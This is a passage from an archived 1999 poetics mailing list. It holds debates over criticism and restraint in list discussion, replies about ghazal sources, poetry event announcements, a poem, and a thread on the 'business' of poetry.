Thank you Taylor for your interest. May I ask you, bemusement conveys no meaning, Taylor? my post was bemusement in terms of severe mockery, not outrage. if there was a dime for every up-andcoming critic stepping on a creative person's head, well, there'd be enough coins to make us all very very rich. using one form of rhetoric (bemusement/mockery) does not mean i favor it over others in all cases. by any means. its legitimacy depends upon your value system. obviously i am a low brow cretin who resorts to more old fashioned everyday common man techniques, which seems to you unworthy of deployment in such a group as this. perhaps this group has been at this point before. sorry for rattling skeletons. the sound of bone on bone admittedly is chilling.

>such behaviors from their writers and readers
that go far beyond the very general "making folks feel bad," which seems to be about the greatest level of social violence listees can muster in their conflicts.

social "violence"? deploying tertiary definitions of loaded words such as "violence" in order to sway group opinion, then, is also a form of violence perhaps? the friar's club, on your use of "violence," is a violent organization then? and then you are restraining your own violence?

>Again, not to say that isn't a problem - at the risk of adding my
voice to the calls for restraint, could we perhaps make sure to read each other, and be willing to articulate that reading out in the open, before resorting to dismissal out-of-hand?

actually, to be very honest, my effort was calculated. and restraint is not exactly a "correct" means of discourse, and I hope poets and those who love poetry know that. restraint is one of many means. having a sense of humor helps, as you and I would guess Mark both know. Am I not to assume that he has a sense of humor? That he understands why I would be bothered enough to twist his post into a punchline?

> *I obviously have my intellectual investments here, rather than simply attack them in the "I-can-shout-over-a-DSL-line-louder-than-you" mode.*

If that works for you, yes, sure, you can pursue your goals by your preferred means. I could say what I said quietly. What I said was in text, and in mixed (mostly lower) case. technically shouting is done with ALL CAPS. and, heck, i WISH i had DSL.

> *It might benefit us, though, to make a principled distinction between our practices and theirs - a little more care and attention on both sides of this argument, perhaps?*

I don't see it as "us" and "them." I'm a primate, an animal, making a display about very strong feelings i have about poetry. i am not above my nature. i am steeped in the animal kingdom and do not wish to insult the good name of my ancestors by acting any other way! and I'm childish and perhaps naively idealistic.

i wish the group to have a great deal of cohesion. cooperation is power. crit often divides to conquer, and that breaks down cohesion. perhaps this is the root of my mockery, the distaste for such displays of superiority, as Mark seems to try to display over Alan. I'm a primate and said, "eek! eek! no no! you must be laughed at!" poets are largely disenfranchised, and most are poor unless they find another way to make an income. why not discourage our own from disenfranchising each other?

when poetry sinks into subtle political games of manipulation and duplicity and backchannel handshakes, well, I'll shout then, too. Why get back at Mark through "principled distinctions between our practices and theirs"? There are few ways more respectable, at least in my little worldview, than being aboveboard, than making people laugh.

i know for sure more than a few people laughed. must they change their ways, too?

And I say this in the open to you Taylor, because despite the fact that we don't see eye-to-eye on method I like you and what you have to say. If I made fun of you here, would you laugh, or would you walk away in a puff and denounce the means? I'm not advocating that someone club mark over the head or label him a dickhead or something coarse like that, and i don't think anyone here gets that impression (I hope).

if i disagree with you, Taylor, i still see what you say as respectable and worthy of response, even disarming aggressive responses. Because I imagine you can go home and say, "geez, that was stupid," or, "no, now you're being stupid" (which is what I think you are saying here, and that's OK with me, my "I'm with stupid" tshirt has an arrow that points to my face).

Despite how we as adults are taught to be friends, and how apparently I fly in the face of that proper way known as RESTRAINT, i don't want Mark to be my enemy. i'd rather he say, "why did you say something so low to me in public" than to decide that I am his mortal enemy. perhaps this is the tower of Babel and he won't understand that. I was willing to take the risk.

i believe Mark is on the side of poetry, and that he may be misguided if he thinks that what he said is valuable and above even the lowest of ridicule. obviously he has a deep love for poetry, and i know i cannot dissuade him from that. perhaps I can dissuade him from being a clannish elitist, though, through mockery. i know what i said stung, but he's probably (hopefully) going to post again soon. i did not call him names. i made fun of him, albeit in a shockingly disarming way. but not behind his back. how do we formulate our gestures?

Taylor, you seem to intimate that it's the bad guys versus the good guys, and that i am a good guy gone astray. i am as bad if not worse than anyone and would like not to join such a team at all. to boot i would like to make fun of both teams as long as I can. I like Mark, I like you. I dislike the humorless stepping on heads thing. in my experience people step on another person's head to gain something. mark steps on Alan's head, to gain more space in his inbox perhaps, to gain inclusion in groups that have excluded Alan with similar types of unengaged crit, to reinforce his friendships with others who do not like Alan's writing. I step on mark's head to gain a world of poetry where (1) people can mercilessly lampoon others, and (2) where critics do not find room to gain in their own positions by doing the dirtywork of their masters. And you step on my head, perhaps a soft soled shoe, to show that i and others on this list not use ridicule and use restraint. You and I and Mark are no better than one another. we just have different means.

All the best,
Patrick

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373. **Philip Nikolayev**
Re: Ghazal
Mon 25 Oct 1999

Try Muhammad Abd-Al-Rahman Barker et al, Classical Urdu Poetry, vol. 1, or D.J.Matthews, Anthology of Classical Urdu Love Lyrics. But a simpler approach would be to try the Encyclopaedia Britannica or a mere Web search -- unless you really want to get into such rather difficult technicalities as the traditional meters that used in the ghazal form, etc.

Best,
Philip Nikolayev

At 04:29 PM 10/25/99 -0400, you wrote:
>Forgive me, please, if this is a repeated posting...I'm having trouble with

>my network today. At any rate, I am trying to find a book or essay which
>details the "true" rules of form for ghazal. Any ideas?
>
>Thanks in advance,
>
>Brent A. Long
>

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374. Herr Colin
Re: Ghazal
Mon 25 Oct 1999

there is a great essay on the ghazal in a book called (I think) _Expansive Poetics_ (or Poetry). I cannot remember the author or title (I'm not much on who but what) but it deals with the history and often over-use of the moniker "ghazal" as well as giving guidelines for ghazals. A great book of ghazals is _The Green Seas of Heaven_ by Hafiz. And let us not forget Federico Garcia Lorca's as well...

> *herr<<C>*

^^^^^^^^^^^^^^^^^^^^^^^^^^^^

[theremin music] hypertext artworks for storyspace

-michael stutzman {[redacted]}
 daniel pereira {[redacted]}
 herr colin g. hough-trapp {[redacted]}

"The dawn is my Assyria; the sun-set and moon-rise
 my Paphos, and unimaginable realms of faerie; broad
 noon shall be my England of the senses and the
 understanding; the night shall be my Germany of
 mystic philosophy and dreams."

 -Ralph Waldo Emerson

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375. **Steve Dickison**

*****Ammiel Alcalay in the Bay Area*****

Mon 25 Oct 1999

Friends. I'm forwarding Ammiel Alcalay's schedule for the various readings & talks he's giving while in town next month. I'd highly recommend you check out any or all of these events.

In case you're not aware of his work, Ammiel's an outstanding poet-essayist-translator-activist who's focused on the Mediterranean region. He's translated poetry & other writings from Arabic, Hebrew, Serbo-Croatian, & Spanish. Highlights of his long bibliography, off the top of my head, are _After Jews & Arabs: On Levantine Culture_ (U Minn.), an amazing guide to recent writing from the so-called middle east; _For/Za Sarajevo_ was a special issue of Lusitania magazine that appeared several years ago during the siege of that city; _Sarajevo Blues_ is a great small book from young Bosnian poet Semezdin Mehmedinovic; Ammiel's own book of poetry, _the cairo notebook_ was published by Gil Ott's Singing Horse Press in Philadelphia; and his newest book is due any minute from City Lights, a collection of selected recent essays titled _Memories of Our Future_. He lives in New York & teaches at CUNY, Brooklyn.

>>
>>Lecture at UC Berkeley on Tuesday, November 9th at 5:00
>>
>> The Poetics of Local Knowledge:
>> Dispatches from the Balkans & the Middle East
 the Near Eastern Studies office is [redacted]

>>
>>Lecture/reading at Stanford on Wed. the 10th in the evening
>>
>> Memories of Our Future: Bringing Home the Cultural
>> Landscape of the Balkans & the Middle East
[redacted]

> *Reading, & interview with Norma Cole / Small Press Traffic Friday the 12th at 7:30*
>
> *Literary Arts Center at New College; New College Cultural Center (766 Valencia between 18th and 19th)*
>
> *Book Party/Reception Sunday, November 14th from 5 pm on*
> *Co-sponsored by IVRI-Nasawi & City Lights Books*

> *Reading at Lone Mountain / University of San Francisco November 16th at 8 pm*
>
> *Room 140; 2800 Turk Blvd. between Masonic and Parker*

==========
Steve Dickison, Director
The Poetry Center & American Poetry Archives ~ San Francisco State University
1600 Holloway Avenue ~ San Francisco CA 94132 ~ [redacted]

~ ~ ~

Lâ taltazim hâlatan, walâkin
durn bî-llayâly kamâ tadûwru

Don't cling to one state
turn with the Nights,
as they turn

~Maqâmat al-Hamadhâni (tenth century; tr Stefania Pandolfo)

~ ~ ~

Bring all the art and
science of the world, and
baffle and humble it with
one spear of grass.

~Walt Whitman's notebook

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376. **pete spence**

Re: on sondheim, on raphael, on expression (OR, in defense of reading)

Mon 25 Oct 1999

> *From: Taylor Brady <[redacted]>*
> *I largely agree with the (implicit) assertion here that Mark's dismissal of Alan Sondheim's work without benefit of anything close to a reading constitutes a problem for the kind of reasoned "restraint" or "self-control"*
> *he advocates re: Alan's postings. At the same time, however, the urge to up the ante >:)*
> *Patrick*

,,seems to me at least sondheim is active is MAKING things and has found a venue to show and tell///pete spence

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377. **pete spence**
Re: the "biz"
Mon 25 Oct 1999

> *stephen ellis wrote;*
>
> *that the "world"*
> *(of poetry)*
> *seems very much*
> *caught up*
> *in the sense*
> *of itself as*
> *a business*
>
> *i started thinking again about this and am perhaps getting more confused as i go on --- i've done these magazines and lost heaps of money and have another in the can waiting and waiting and weighing on me that i can't afford to pub it yet --- and i make no money on these things it all goes out*
> *really, but that doesnt discount being a business, right ? i mean there are*
> *plenty of things we call businesses that lose money so that can't be the dividing line*
>
> *conflictedly*
>
> *)L*
>
> *know how you feel, seems hard for me in dear old Australia to sell the Hannah Weiner book i did in 86 hard then harder now with about 40 sale copies left, also hard to get orders in for the new Weiner book COUNTRY GIRL whyche will be a handmade production// publishing sent me broke a number of times during the 80's and a coupla times i was already broke when i published something what does this = a minus//nope//pete spence*

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378. Todd Baron /*/ ReMap Readers

Re: on sondheim, on raphael, on expression (OR, in defense of reading)

Mon 25 Oct 1999

---

in defense. I can "delete" anything Ineed to--so I will not suggest anyone say "don't write it", but I do get up to five LONG poems a day from sd. and truly wish to spend time discussing poetics rather than being sent the poems daily. It ain't the NYTimes! But a communtiy which speaks.

listen

Todd Baron
ReMapTaylor Brady wrote:
>
> I largely agree with the (implicit) assertion here that Mark's dismissal of
> Alan Sondheim's work without benefit of anything close to a reading
> constitutes a problem for the kind of reasoned "restraint" or "self-control"
> he advocates re: Alan's postings. At the same time, however, the urge to up
> the ante with this:
>
> this type of censorship is what keeps newspapers and televisions full of
> doodoo, full of propaganda. I think the NYT might have a job for you!
>
> ..ends up moving in much the same direction - i.e., a collapsing of
> meaningful distinctions in favor of a rhetoric of dismissive outrage,
> bemusement, etc. Calls for "discursive protocol" articulated by individuals
> without access to the immense, consolidated social surplus of, say, the
> Times simply are not the same thing as the systemic and systematic
> distortion of knowledge by capital.
>
> Now if you were to say that at times that very individual rush to dismiss
> has been one of the many vectors along which Times-style distortion has
> operated, I'd certainly be with you. But media monopolies have ways of
> enforcing, cajoling, etc., such behaviors from their writers and readers
> that go far beyond the very general "making folks feel bad," which seems to
> be about the greatest level of social violence listees can muster in their
> conflicts. Again, not to say that isn't a problem - at the risk of adding my
> voice to the calls for restraint, could we perhaps make sure to read each
> other, and be willing to articulate that reading out in the open, before
> resorting to dismissal out-of-hand? Obviously, there are cases of personal
> attack, "flaming," etc., in which the dismissive virtual sneer, rather than
> the time-consuming response to an interlocutor who isn't going to bother
> with a response anyhow, might be a useful option. But it seems to me we're a

> long way off from that in Alan's writings, which interrogate the language(s)
> of this list (well or badly [usefully or not?] is for a closer reading to
> decide - though as a minor publisher of his work, I obviously have my
> intellectual investments here), rather than simply attack them in the
> "I-can-shout-over-a-DSL-line-louder-than-you" mode. We've seen the latter
> here before, so I'm guessing we know what it looks like.
>
> That said, however, and without knowing Mark P., I'd give 10 to 1 odds to
> anyone here that he doesn't have the weight of capital accumulation behind
> him to come up to the level of the Times as an ideological "power." (And in
> almost every instance, his ideological work on the list, when based on a
> careful engagement, has been pretty well opposed to the practices of that
> gray bastion of yellow journalism - my thanks, in general, for his presence
> in this space). Hell, I doubt any of us here even rate a defunct Hearst rag
> limping toward the inglorious end of a short-con joint operating agreement.
> It might benefit us, though, to make a principled distinction between our
> practices and theirs - a little more care and attention on both sides of
> this argument, perhaps?
>
> Taylor
>
> -----Original Message-----
> From: UB Poetics discussion group [mailto:[redacted]]
> On Behalf Of Patrick Herron
> Sent: Thursday, October 21, 1999 1:55 PM
> To: [redacted]
> Subject: Re: on sondheim, on raphael, on expression
>
> >AS's work is often weak, diffuse, silly, and its extreme
> frequency on the list has led at least a half-dozen people i know to find
> new meaning in the phrase, "delete, don't read."
>
> Mack, er, Mark, you have a very bright critical career ahead of you. Pass
> the sunglasses and roll out the red carpet! Get me a seat on Air Force One!
> Feel the authoritative upholstery! Turn down the lights!:)
>
> Gee, maybe I should show some good ol' RESTRAINT. Ahh, fuck that.
>
> >in my scheme of poetic things AS isn't huge or important or terribly
> >exciting...
>
> And I feel priveleged to learn of his lack of importance from you. :)

> Can you send me that scheme? The poetics of schemata, the schematics of
> poetry. How poetic. Kinda like instructions on building a television. I
> was just building a poem from scratch yesterday, some wires, some wood,
some
> capacitors, resistors, and was looking for a good schematic. Maybe i need
> to head to Hotlanta to find them? Joe's Poetry Schematics Shop down there
> by Five Points? :)
>
> >But Dan was indeed (as he suggests) expressing the feelings of *quite a
> >few* people on the list. And i feel he is right to point out that the
> >responses to him were a little too quick and too thoughtless: he was not
> >calling for censorship.
>
> actually, he he seemed to be advocating a particular form of censorship -
> self-censorship. self-censorship from threats. like of being labelled a
> crap artist. this type of censorship is what keeps newspapers and
> televisions full of doodoo, full of propaganda. I think the NYT might have
> a job for you! :) :) :) smiling happy faces! :) :) :)
>
> I hope this was too quick and too thoughtless. Let's have my lawyer and
> your lawyer do lunch. in case your flame spreads, or "blooms," as you call
> it.
>
> the market force of criticism = CONTROVERSY. good work. A+. :)
>
> if we cannot laugh
> we can count ourselves
> doomed to the same thing
> we have always been
> doomed to anyway.
>
> Bloomin',
> :)
> Patrick
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

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379. **Murat Nemet-Nejat**

Re: On Number-Systems

Mon 25 Oct 1999

In a message dated 10/25/99 2:47:52 PM, [redacted] writes:

> *And reading Knuth on number-base systems which include, for example a ternary system with +1, -1, and 0 as the symbols. Such systems can absorb the positive and negative numbers; there are others, such as ones based on 2i, that can absorb the complex number system as well (i.e. a single number of the form ax^n + bx^(n-1) ... +dx^1 +e). This is an amazing economy of means. The book is my favorite in the Knuth programming series - the volume on Seminumerical Algorithms - since it goes into the construct of arithmetic processes and algorithms we all take for granted. In my own work, I've always been fascinated by the possibility of base-1 and base-infinity systems; in the former, of course, addition becomes concatenation, and in the latter, the addition of any two unique symbols results in a third, i.e. J + K = L. There's an easy translation from the decimal system; say 25 * 26 = 650 - one would just look up within the infinite multiplication table, [25] and [26] and see [650] where the [x] represents the unique symbol. One goes from algorithms to infinite memorization or lookup. The phenomenology of this is really interesting, I think. For multiplication with base-1, one returns again to concatenation, for example 1111 * 111 = 111 111 111 111 which is the same as 4 * 3 = 12. There's nothing to learn in terms of memorization or lookup tables here; there's nothing to look up or memorize. Think of this as an infinite abacus of sticks placed in a single row; one moves from base-infinity with its pure economy of place and infinite symbols, to base-one with its pure economy of symbol and infinite place. This material is fascinating; it says something about the stability of the world itself, the Aristotelian logic at the heart of the almost-disconnected plateau of the life-world. I wrote years ago extensively on such phenomenologies; it's great to see the structures themselves in Knuth."* To place sticks in the row, letters in a row, one counts (literally) on the stability of place and demarcation - _these_ sticks are counted - _those_ remain unaccounted-for and uncounted. The sticks need not be in a row; there's no need for geometry, positioning, since what one is concerned with is the pure quantity of sticks, not a positional relationship. Interestingly, positionality also disappears with base-infinity, since every operation and quantity involves only _one_ position. In The Matrix, there is considerable discussion about "who is the One" - in base-one, everyone is, and in base-infinity, whatever is _there_ is the one.*
>
> *What is going on here? On one hand, with base-one, there is the fact and phenomenology of _substance_ and the quantifiability and stability of the*

> *world; on the other, with base-infinity, there is the problematic of the proper name in the Kripkean sense of rigid designator. In the former, names shift towards processes; in the latter, processes harden as names.*
>
> *One might also consider issues of perception: exactly what constitutes a stick or a symbol? Could, for example, two trees represent 2541 and 1734, a third representing 2541^1734 base-infinity? Is all of nature, in fact, the mathematics of base-infinity write large? At the other end, what might one say about typification, standardization: What constitutes a stick and what doesn't? Sticks are related to tallying, of course; they are indexical in relation to the quantification of the real, a one-to-one relationship with other physical objects. On the other hand one might consider the base-infinity symbols both symbolic (standing-for quantity as proper names or summarizations) and "quasi-ikonic," the coagulation of quantity itself as unary.*
>
> *And there are issues of memory: _Where_ is the place of counting - which sticks have already been marked, which remain unmarked? This depends not only on the stability of place, but our knowledge of place as well. Since base-infinity relies on individuated symbols, place, even the place of _announcement,_ becomes less relevant; memory of place is replaced by symbol memory: 2541^1734 = [2541^1734]*
>
> *Between base-one and base-infinity, the structure and variety of the world appear - not the infinite and obdurate variety of base-infinity, nor the pure quantifications of base-one, but gatherings, foreclosings, metaphors and metonymies. It's at the limits that nature becomes simultaneously mute and revelatory; in-between it's all culture and our image writ large, rubbed against the structure of the world.*
>
> *Word: re-ers*
> *Guess:*
> *Sorry, the word was "refers"*
> *Another word?*

Alan admires the "amazing economy of means" in the volume on Seminumerical Algorithms in the Knuth programing series.

I wish he would apply the same economy to his own work.

Going through the mind numbing profundities of this last posting - please Alan, where is a sense of irony, a sense of humor, a sense of proportion. Since you bring Aristotle in, where is the golden rule?

Alan, you ask the question, "what constitutes a stick or a symbol." Well, sticks break bones. Symbols, I guess, don't. Because of their lack of economy -a quality which you seem to admire in "Seminumerical Algorithms" (whatever

that means)-
your words do
>
>
>
>*from http://trace.ntu.ac.uk/writers/sondheim/diary/diary.txt.
>
>_____
></XMP>
>
>---------- Headers ----------
>Return-Path: <[redacted]>
>Received: from rly-zc05.mx.aol.com (rly-zc05.mail.aol.com [172.31.33.5])
>by air-zc01.mail.aol.com (v62.10) with ESMTP; Mon, 25 Oct 1999 15:47:52
>-0400
>Received: from LIME.EASE.LSOFT.COM (lime.ease.lsoft.com [209.119.1.41])
>by rly-zc05.mx.aol.com (v62.10) with ESMTP; Mon, 25 Oct 1999 15:47:41
-0400
>Received: from PEAR.EASE.LSOFT.COM (209.119.0.19) by
LIME.EASE.LSOFT.COM
>(LSMTP for Digital Unix v1.1b) with SMTP id
<[redacted]>;
>Mon, 25 Oct 1999 15:43:53 -0400
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8d) with spool id 10418348 for
> [redacted]; Mon, 25 Oct 1999 15:47:36
>-0400
>Approved-By: [redacted]
>Received: (qmail 11490 invoked from network); 22 Oct 1999 23:44:16 -0000
>Received: from mail2.panix.com (166.84.0.213) by listserv.acsu.buffalo.edu
>with
> SMTP; 22

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380. Carol L. Hamshaw
Vancouver Videopoem Festival
Tue 26 Oct 1999

The Vancouver Videopoem Festival
presented by The Edgewise ElectroLit Centre

November 7, 1999, 8pm
Video In Studios, 1965 Main Street, Vancouver, BC
Admission $10

The first Videopoem screening event ever held in Canada. The hybrid genre, videopoetry, has received little attention in our country despite being a creative field of growing interest for Canadian artists since the 1970's. Vancouver's own Edgewise ElectroLit Centre Society is hosting this inaugural event where the cutting-edge of this innovative medium is explored and presented. Work from Canada and beyond will give local audiences a survey of the accomplishments in videopoetry in the past 20 years. Hosted by Kedrick James, improv poet, host and director of Bravo TV's Planet Poetry.

Features:

Verbomotorhead, Vancouver improv ensemble doing a video production of e.e. cummings what if a much of a which of a wind.
Adeena Karasick's Alphabet City: "Through the continual questioning and reworking of traditional modes of language structures and usages, Alphabet City plays itself out within a politics of discomfort, hostility, secrecy, exclusion and interference. And, like the cityscape itself, language emerges as a semiotic slough, and functions as an economy of ruses, detours, complications; zones of problematization."
Patricia Smith (U.S.) teams up with poetry video guru Kurt Heintz in Chinese Cucumbers about a lover lost to HIV that creates "a kind of wild acceleration and simultaneous sinking feeling — and with all the mad cuts flying at the end there's no way out for the viewer."
(www.enteract.com/~kheintz/Fcucumbers.)
Selected work of Jill Battson, host of Muchmusic's poetry video series Word Up and organizer of Toronto's Spoken Word Festival.
Jason LeHeup's first multi-media videopoem was produced as part of the Judy2 launch, a "journal" he co-edits.
Activist and city politician, Bud Osborn, who's creative work unflinchingly examines the situation and hope in Vancouver's poverty culture.

Funding for The Edgewise ElectroLit Centre Videopoem Festival has been received from the Canada Council for the Arts and is produced in partnership with Video In Studios, Vancouver, BC. Part of Outside the Lines, BC Arts and Culture Week.

The Edgewise ElectroLit Centre is a nonprofit society whose mandate is to exploit communications technology to widen the audience of Canadian poetry and to give poets, multi-media artists and youth the opportunity to use, learn, and create with this technology. Videoconferencing and online publishing are the major technologies that we work with. Our electronic magazine can be viewed and heard at <www.edgewisecafe.org>. Poets featured with audio include Adeena Karasick, Wayde Compton, bill bissett and Sheri-D Wilson. Funding for our programs is received from The Canada Council for the Arts, The BC Arts Council, The City of Vancouver, Embedded Spaces and Communicopia.

For more information, please call Carol L. Hamshaw, Administrator, at [redacted], or via email at [redacted]

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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381. **nuyopoman**
Moving to NYC
Tue 26 Oct 1999

Happy to announce that Jen Abrams of the Guld Complex, Chicago, is moving to NYC, where she will become Managing Director at Steve Cannon's ever wilde "A Gathering of the Tribes" -- the first ever paid staff,huzzah.

Jenis super cool, vegan, non-smoke, totally responsible, --- and homeless. Know of an apartment in the vicinity, up to $1100?

Bob Holman
[redacted]

↑ Index

382. dan raphael

expression / poetix/ whoever

Tue 26 Oct 1999

Okay, so express by being. i'd post more poems but i tend to write big. here's something short (tho wide in its usual format.)

and this brings up an old irk of mine. since i often write 80 character lines, htis not only keaves me out of many half-sheet type magazines, it is also limited by what can be dispalyed on the web.

how my house fell

my house fell into a pucker of space time
and across the street or next door are at least an hours drive away
like a farm house in the middle of thousands of acres you can barely
recognize from the highway.
how driving west, you congratulate yourself for the marathon of nebraska
only to be rendered unconscious by wyoming, not as long but so more
hopeless,
sucking up every drop of momentum, sweat & possibility
when all you want to do is get out, get through the first vanguard of
mountains
and into utah swept so clean, clenched so tight, it wants you to roll
through,
is afraid to check our pockets

or we’re deep in several concentric mazes of the city, like getting from the bronx to manhattan on foot, or my friend whose address in taipei was avenue 57., alley 16, block 4, building 11, apt 203: we’re defined by the grid, refined by the sheering abscissas systems inadequate to drain everything away, our mass attracting energy, the commerce of isolation, the need to zip the door around you like a sleeping bag, a sleeping bag that could support you in space for at least a week: the time for someone to find me or for my various parts to vote on which dimension to escape to and how many of them can access, who’ll be left to talk about it, locked in a silicon chip floating through space, the molecular bondage of memory stronger than vacuum gravity crumpled in a fist of wet pavement

dan raphael

↑ Index

383. **trane devore**
Re: name that quote?
Tue 26 Oct 1999

Because this is such a great quote, and because I'm sure others on the list are dying of curiosity: It's from Terry Eagleton's *Criticism and Ideology: A Study in Marxist Literary Theory*. I as well first thought Althusser ("Ideology and the State from *Lenin and Philosophy*), but that makes sense since Eagleton was highly influenced by Althusser during this period of his thought. Also note the Raymond Williamsesque "values" (*Marxism and Literature*).

Trane

> *Hello Poetics,*
> *Another one of my damnable queries. Does anyone recognize the author/source of the following?*
>
> *"A dominant ideological formation is constituted by a relatively coherent set of 'discourses' of values, representations and beliefs which, realised in certain material apparatuses and related to the structures of material production, so reflect the experiential relations of individual subjects to their social conditions as to guarantee those misperceptions of the 'real' which contribute to the reproduction of the dominant social relations" (54).*

↑ Index

384. **david bromige**
whereabouts of Carla Harryman's now-past reading
Tue 26 Oct 1999

Robert Corbett : No, you are correct, it IS in the Eliotic/Baudelairean Unreal City, the one that has pushed Paris and London off the perch, to wit, New York. (Here we see where a solid grounding in pop- and show-tunes would be of help to the aspiring geographer of poetry. "Mott Street" is one of the places mentioned in the song that promises to turn Manhattan into an isle of joy.)

David.

↑ Index

385. **david bromige**
jackson mac low
Tue 26 Oct 1999

Douglas Kerr--and others--

one way to make a post is to take a tree and whittle it. I believe they have machines to do that these days.

Another way is to post to Jackson at [redacted] .

David (self-appointed, and entirely inadequate, replacement for George Bowering, king of terse, helpful, pas-sourir responses, during his absence from Vancouver that he may take the waters at Toronto.)

↑ Index

386. Brandon and/or Christina

Re: name that quote?

Tue 26 Oct 1999

Kathy-

The passage is from Criticism and Ideology: A Study in Marxist Literary Theory

by Terry Eagleton.

-Brandon

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387. Stephen Ellis

Re: the "biz"

Tue 26 Oct 1999

John, I think by "business" I meant that there's a lot of activity outside one's own "formal" creative work that diesn't seem creative, or, at least, I guess, to put my foot entirely in my mouth, not creative "in the same way." But why should it be? Organizing books and publishing books etc. involves flexibility if often not outright creativity, tho I think I was trying to place my point or point my place in some other direction. By "business"

I think I was trying to get at the fact that writing the poems - and perhaps also distributing them on a small scale - had to do with a distributive function, whereas this other "business-y" aspect seemed often to have more to do with accumulating a kind of authority wch is something other than any "authority" with which one writes. It's like the music business, the club scene, I suppose, in a more diffuse way, trying to get readings, going after publishing opportunities, etc. - all aspects of attaining some level of authority, just so to be HEARD, and recognized as (one of) the public figures of that activity, ie., producing materials that one feels "should be" heard.

To call this "the business" is perhaps not quite the right term - it points more to a real lack of community, a narrowness and the attending frustration over how best to either escape the narerowness, or use it "to one's advantage." In this, the work - the primary, MADE thing - seems at times to be forced to play second fiddle to a social occasion - though who doesn't like a party? - in which one hopes to gain some authority in understanding how their efforts are understood

by others, and of their own position within that understanding. So one wants a group of ardent hearers for the purpose of self-reification under image to an imagined common purpose. All I'm suggesting is that the work itself, used in this way, becomes enslaved to the purpose of its going public. How necessary is applause with regards to some semblance of accomplishment? Or, in contradistinction to this, what can one accomplish in isolation?

One likes being with one's own kind to the end of feeling "understood, yet one also likes being with those different from one's self as a means of feeling difference. It seems all a matter of expansion and contraction of consciousness, that everything that happens IS "our business" yet never reaches the level of being the sort of "business" that becomes inflexibly authoritarian, even tho the "system" through which work becomes public is more often a function of the proprietary than not. How important is it, for example, viz copywriting, that more persons than you and a small circle of more-or-less intimate acquaintences know that you and you alone (influences notwithstanding) have written whatever you have written? And if it IS important, how many other people ("strangers") need to know this in order for the work to somehow establish a place for itself as an individualized version of The Tradition, say, in this pretty shadowy public sphere? The Business, as such, I think,

comprises the ways in which the work is made to seem legitimate by being made also - and perhaps primarily - part of the legal corpus of ownership. The business of (self-) publicizing then becomes, I suppose, a way of sharing, although one based on power established, if I may say so, essentially from the top down. But then, poetry has always been a system partner of, and participant in, a continuous - if at times a-historical SEEMING - oligarchy. Perhaps

a little more humor could be exercized in the ways through which the absolute reign of the maker in the MADE world makes his/her way into what might usefully be thought the humbling spectre of extensive public view. In a word, the question here becomes what do we believe we are delivering? Or what do we have each to give? Or, what can we BE, together? - S E

> *From: "Lowther, John" <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: the "biz"*
> *Date: Sat, 23 Oct 1999 18:33:24 -0400*
>
> *{ p o e t i x }*
>
> *stephen ellis wrote;*
>
> *that the "world"*

> *(of poetry)*
> *seems very much*
> *caught up*
> *in the sense*
> *of itself as*
> *a business*

i started thinking again about this and am perhaps getting more confused as i go on --- i've done these magazines and lost heaps of money and have another in the can waiting and waiting and weighing on me that i can't afford to pub it yet --- and i make no money on these things it all goes out
really, but that doesnt discount being a business, right ? i mean there are
plenty of things we call businesses that lose money so that can't be the dividing line

but maybe it can still ? that is businesses are at least concerned to make money even if they lose it and i never expect to make any ---- or leave the magazine publishing thing behind ---- i don't expect to make any money of being a poet, i suppose i cd, i cd win a contest and get a book published and win some $ but enough to think of my writing as a business ?

so skip money, maybe what yr saying isnt about cash but clout ? capital in that sense ? where we hope to get pubbed in the chicago review or the gertrude stein awards or win the national poetries series competition b/c "it'll open doors" us ? is that the "business" which you mean ? ---- i'm reminded of something someone told me about going to a reading and the young
poet who was reading that night marched up introduced themself to everyone and was later heard to say "I LOVE NETWORKING!" ---- is that the same sort of "business" ?

admittedly, i like meeting poets ---- my trip to LA last year was a blast and i look forward to new orleans next month ---- and i wd be mightily pleased to win the national poetry series and have a bit of hope that my work might get read or find it's way into places it won't if i end up publishing it myself

where does it start being the "business" ? when i start hoping that other contest winners DONT win as it wd affect me negatively ? when i start schmoozing and playing for favor with editors i don't like b/c it wd "do me good" ? i think those things should qualify for the "biz" which i wd wish to combat which it wd suck to step into

but i'm left feeling that while i understand, i think, the thrust of yr statement stephen, and too, see myself the businessy behavior now and

> *again,*
> *that i DONT think of poetry as a business or the poetry world as business community ---- that doing so seems somehow a self-blinding*
>
> *conflictedly*
>
> *)L*
>
> *p.s. shit, more *seriousness**

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↑ Index

388. Mark Prejsnar
on regionalism...
Tue 26 Oct 1999

Someone recently posted, to the effect that people in alabama were into regionalism....(this they took to be bad, and were fairly sniffy about it.....)

What interestes me about most of the poets that i know in the south, is how much they are interested in *community* and how little they are interested in *regionalism* ...

This should hardly be surprising..since they are more likely to care deeply about Coolidge or Stein, Koch or Palmer, Hijinian or Cerevolo, Mackey or Baraka, than James Dickey or even Charles Wright....

Many things are a'stirrin' in dixie, and they ain't regionalist: there are more poems, and more interesting poetry scenes, in heaven and earth, than are ecompassed in yer philosophy, Mr. Dorow!

mp
@lanta.....

(This post reflects ONLY my opinions, and those of no other poet: in fact, if someone tried to agree with me, i wdn't LET 'em!!!)

↑ Index

389. Mark Prejsnar
Wallace on Beach
Tue 26 Oct 1999

" Clearly, according to Beach we can't be serious UNLESS we write about Hejinian, Silliman, Perelman, etc--for Beach, there simply can be no other poetic issue than language poetry."

****

Mark: The two substantial chapters on slam and other performative styles...are they chopped liver? i'm confused... They seem to me pretty generous, often more so than many slam poets or scenes deserve.....

How does that fit?? (also, that fact that he's pretty darn generous to Stephen Dobyns..) Just curious

mp

(This post reflects ONLY my opinions, and those of no other poet: in fact, if someone tried to agree with me, i wdn't LET 'em!!!)

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390. Jill Stengel
business of poetry
Tue 26 Oct 1999

